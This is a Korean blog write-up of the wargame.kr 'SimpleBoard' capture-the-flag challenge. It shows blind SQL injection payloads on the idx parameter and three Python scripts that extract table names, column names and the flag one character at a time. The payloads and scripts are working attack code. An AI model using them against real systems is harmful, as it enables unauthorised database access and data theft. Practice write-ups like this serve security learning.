webhacking/sql, sql injection

wargame.kr SimpleBoard

qkqhxla1 2015. 3. 29. 13:15

http://wargame.kr:8080/SimpleBoard/


간단하다. 아무거나 눌러보면 http://wargame.kr:8080/SimpleBoard/read.php?idx=4

이렇게 idx=4가 붙는데, 여기에 인젝션이 가능하다. 문제 힌트에는 union을 사용하라고 했지만

그냥 블라인드 인젝션으로 풀었다. 소스를 보면 클래스가 두개 있는데, 이걸 읽으면서 어떻게 풀어라~

라는게 bughela님의 의도같았지만.... 굳이 소스를 몰라도 풀수 있었다.(ㅠㅠ 죄송해요)


?idx=4 or 1=1%23 처럼 입력해보면 1이 나온다.

?idx=4 or 1=0%23처럼 입력해보면 4가 나온다. 인젝션이 가능하다.


?idx=2 or (select ascii(substr(group_concat(table_name),1,1))<128 from information_schema.tables where table_schema=database() limit 1)%23


아무런 필터링이 없어서; 그냥 information_schema의 테이블 이름을 group_concat으로 한번에 가져와서 코딩을 했다.

# -*- encoding: cp949 -*-
import urllib2
t_name = ''
for j in range(1,40):
    for i in range(32,128):
        print j,i,t_name
        req = urllib2.Request('http://wargame.kr:8080/SimpleBoard/read.php?idx=2%20or%20(select%20ascii(substr(group_concat(table_name),'+str(j)+',1))='+str(i)+'%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201)%23')
        #req.add_header('cookie','')
        page = urllib2.urlopen(req).read()
        if page.find('Hello World!!') != -1:
            t_name += chr(i)
            break
print t_name

이러면 README,SimpleBoard 라는 테이블두개가 나오는데, README를 읽어보면 될듯...


?idx=2 or (select ascii(substr(group_concat(column_name),1,1))<128 from information_schema.columns where table_name=0x524541444d45 limit 1)%23

그냥 된다. 모든 컬럼 이름을 가져오는데 가져올 테이블의 이름은 0x524541444d45(README테이블.)

# -*- encoding: cp949 -*-
import urllib2
t_name = ''
for j in range(1,40):
    for i in range(32,128):
        print j,i,t_name
        req = urllib2.Request('http://wargame.kr:8080/SimpleBoard/read.php?idx=2%20or%20(select%20ascii(substr(group_concat(column_name),'+str(j)+',1))='+str(i)+'%20from%20information_schema.columns%20where%20table_name=0x524541444d45%20limit%201)%23')
        #req.add_header('cookie','')
        page = urllib2.urlopen(req).read()
        if page.find('Hello World!!') != -1:
            t_name += chr(i)
            break
print t_name

그러면 flag라는 컬럼명이 나온다.


?idx=2 or (select ascii(substr(flag,1,1))<128 from README)%23

# -*- encoding: cp949 -*-
import urllib2
t_name = ''
for j in range(1,50):
    for i in range(32,128):
        print j,i,t_name
        req = urllib2.Request('http://wargame.kr:8080/SimpleBoard/read.php?idx=2%20or%20(select%20ascii(substr(flag,'+str(j)+',1))='+str(i)+'%20from%20README)%23')
        #req.add_header('cookie','')
        page = urllib2.urlopen(req).read()
        if page.find('Hello World!!') != -1:
            t_name += chr(i)
            break
print t_name

돌리면 답이 나온다.

'webhacking > sql, sql injection' 카테고리의 다른 글

hackcat 테스트용 웹문제  (0) 2015.06.04
chall.stypr.com YetAnotherSQL  (0) 2015.05.24
mysql 새발견, 5.7.5이상 에러기반 인젝션  (0) 2015.03.26
adm1nkyj님의 워게임. prob2, 8  (0) 2015.03.25
sql injection 문서.  (0) 2015.03.22